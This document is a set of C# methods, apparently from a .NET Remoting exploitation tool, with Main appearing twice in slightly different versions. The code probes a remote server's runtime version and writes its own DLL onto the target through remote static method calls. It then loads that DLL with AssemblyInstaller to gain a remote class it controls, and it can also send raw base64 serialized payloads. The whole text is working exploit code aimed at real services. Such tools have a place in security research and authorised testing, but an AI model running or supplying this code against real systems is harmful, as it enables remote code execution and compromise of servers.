static int Main(string[] args) { if (ProcessArgs(args)) { try { var channel = new CustomChannel(_uri, BindStream, GetMessageObject, _null_uri, !string.IsNullOrEmpty(_output_path)); if (_cmd.Equals("raw")) { if (_cmdargs.Count != 1) { Console.Error.WriteLine("Must specify base64 encoded string or a file containing the raw data."); } else { string path = _cmdargs.First(); byte[] data; if (File.Exists(path)) { data = File.ReadAllBytes(path); } else { data = Convert.FromBase64String(path); } Console.WriteLine(channel.SendRequest(data)); } } else { SetupServer(); if (_ver == 0 && !_useser) { _ver = DetectMajorVersion(channel); Console.WriteLine("Detected version {0} server", _ver); } IRemoteClass ret = CreateRemoteClass(channel); ExecuteCommand(ret); } } catch (Exception ex) { Console.WriteLine(ex); return(1); } return(0); } else { return(1); } }
private static IRemoteClass CreateRemoteClass(CustomChannel channel) { if (_useser) { return(CreateRemoteClassSerial(channel)); } else { return(CreateRemoteClassExploit(channel)); } }
private static IRemoteClass CreateRemoteClassExploit(CustomChannel channel) { string path; if (_uri.Scheme != "ipc") { IRemoteClass ret = GetExistingRemoteClass(); try { ret.ToString(); return(ret); } catch (RemotingException) { } path = channel.MakeCall <string>(_uri.AbsolutePath, GetStaticMethod(typeof(Path), "GetTempPath")); path = Path.Combine(path, $"{Guid.NewGuid()}.dll"); channel.MakeCall(_uri.AbsolutePath, GetStaticMethod(typeof(File), "WriteAllBytes", new Type[] { typeof(string), typeof(byte[]) }), path, File.ReadAllBytes(typeof(IRemoteClass).Assembly.Location)); } else { path = typeof(IRemoteClass).Assembly.Location; } try { AssemblyInstaller installer = channel.MakeCall <AssemblyInstaller>(_uri.AbsolutePath, GetCreateInstance <AssemblyInstaller>()); installer.Path = path; installer.CommandLine = new string[] { "/name=" + _remotename }; installer.UseNewContext = true; installer.Install(new Hashtable()); } catch { // In the IPC case this might fail // Just continue on with the creation of the remote class and see if we're lucky } return(GetExistingRemoteClass()); }
static int Main(string[] args) { if (ProcessArgs(args)) { try { SetupServer(); var channel = new CustomChannel(_uri, BindStream, GetMessageObject, _null_uri); if (_cmd.Equals("raw")) { if (_cmdargs.Count != 1) { Console.Error.WriteLine("Must specify base64 encoded object"); } else { Console.WriteLine(channel.SendRequest(Convert.FromBase64String(_cmdargs.First()))); } } else { if (_ver == 0 && !_useser) { _ver = DetectMajorVersion(channel); Console.WriteLine("Detected version {0} server", _ver); } IRemoteClass ret = CreateRemoteClass(channel); ExecuteCommand(ret); } } catch (Exception ex) { Console.WriteLine(ex); return(1); } return(0); } else { return(1); } }
static int DetectMajorVersion(CustomChannel channel) { Version ver = null; if (!_useser) { try { ver = channel.MakeCall <Version>(_uri.AbsolutePath, GetProperty(typeof(Environment), "Version")); } catch { } } if (ver == null) { ver = Environment.Version; Console.WriteLine("Error, couldn't detect version, using host: {0}", ver); } return(ver.Major); }
public SerializerRemoteClass(CustomChannel channel, ILease lease) { _channel = channel; _lease = lease; }
private static IRemoteClass CreateRemoteClassSerial(CustomChannel channel) { ILease lease = null; if (_uselease) { lease = channel.MakeCall <ILease>(_uri.AbsolutePath, typeof(MarshalByRefObject).GetMethod("InitializeLifetimeService")); } SerializerRemoteClass remote = new SerializerRemoteClass(channel, lease); if (!string.IsNullOrWhiteSpace(_installdir) || _autodir) { if (_autodir) { DirectoryInfo curr_dir = remote.GetDirectory("."); _installdir = curr_dir.FullName; } string path = Path.Combine(_installdir, "FakeAsm.dll"); bool installed = true; try { installed = remote.FileExists(path); } catch (Exception ex) { Trace.WriteLine(ex.ToString()); } if (!installed) { try { remote.WriteFile(path, File.ReadAllBytes(typeof(IRemoteClass).Assembly.Location)); } catch { } } try { Trace.WriteLine(string.Format("{0}", channel.SendRequest(new SerializableRegister(_remotename), false))); } catch { } } try { IRemoteClass ret = GetExistingRemoteClass(); ret.ToString(); return(ret); } catch (Exception ex) { Trace.WriteLine(ex.ToString()); } return(remote); }